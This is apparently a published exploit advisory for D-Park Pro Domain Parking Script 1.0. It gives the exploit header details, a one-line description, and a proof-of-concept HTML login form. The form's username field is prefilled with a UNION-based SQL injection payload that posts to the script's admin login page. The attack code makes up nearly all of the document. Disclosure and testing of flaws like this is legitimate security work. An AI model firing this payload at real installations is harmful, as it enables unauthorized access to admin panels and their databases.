D-Park Pro Domain Parking Script 1.0 SQL Injection

`<!--  
# # # # #   
# Exploit Title: D-Park Pro Domain Parking Script 1.0 - SQL Injection  
# Dork: N/A  
# Date: 29.09.2017  
# Vendor Homepage: http://www.domainzaar.com/  
# Software Link: http://www.domainzaar.com/  
# Demo: http://www.d-park-pro.com/  
# Version: 1.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# # # # #  
-->  
<form id="loginform" action="http://localhost/[PATH]/admin/loginform.php" method="post">  
<label for="form_username">Username:</label>  
<input type="text" name="username" value="' UNION ALL SELECT 0x31,0x32,0x33,CONCAT(0x494853414e2053454e43414e)-- Ver Ayari" />  
<label for="form_password">Password:</label>  
<input type="password" name="password" id="form_password" />  
<input name="login" value="Log In" type="submit">  
</form>  
`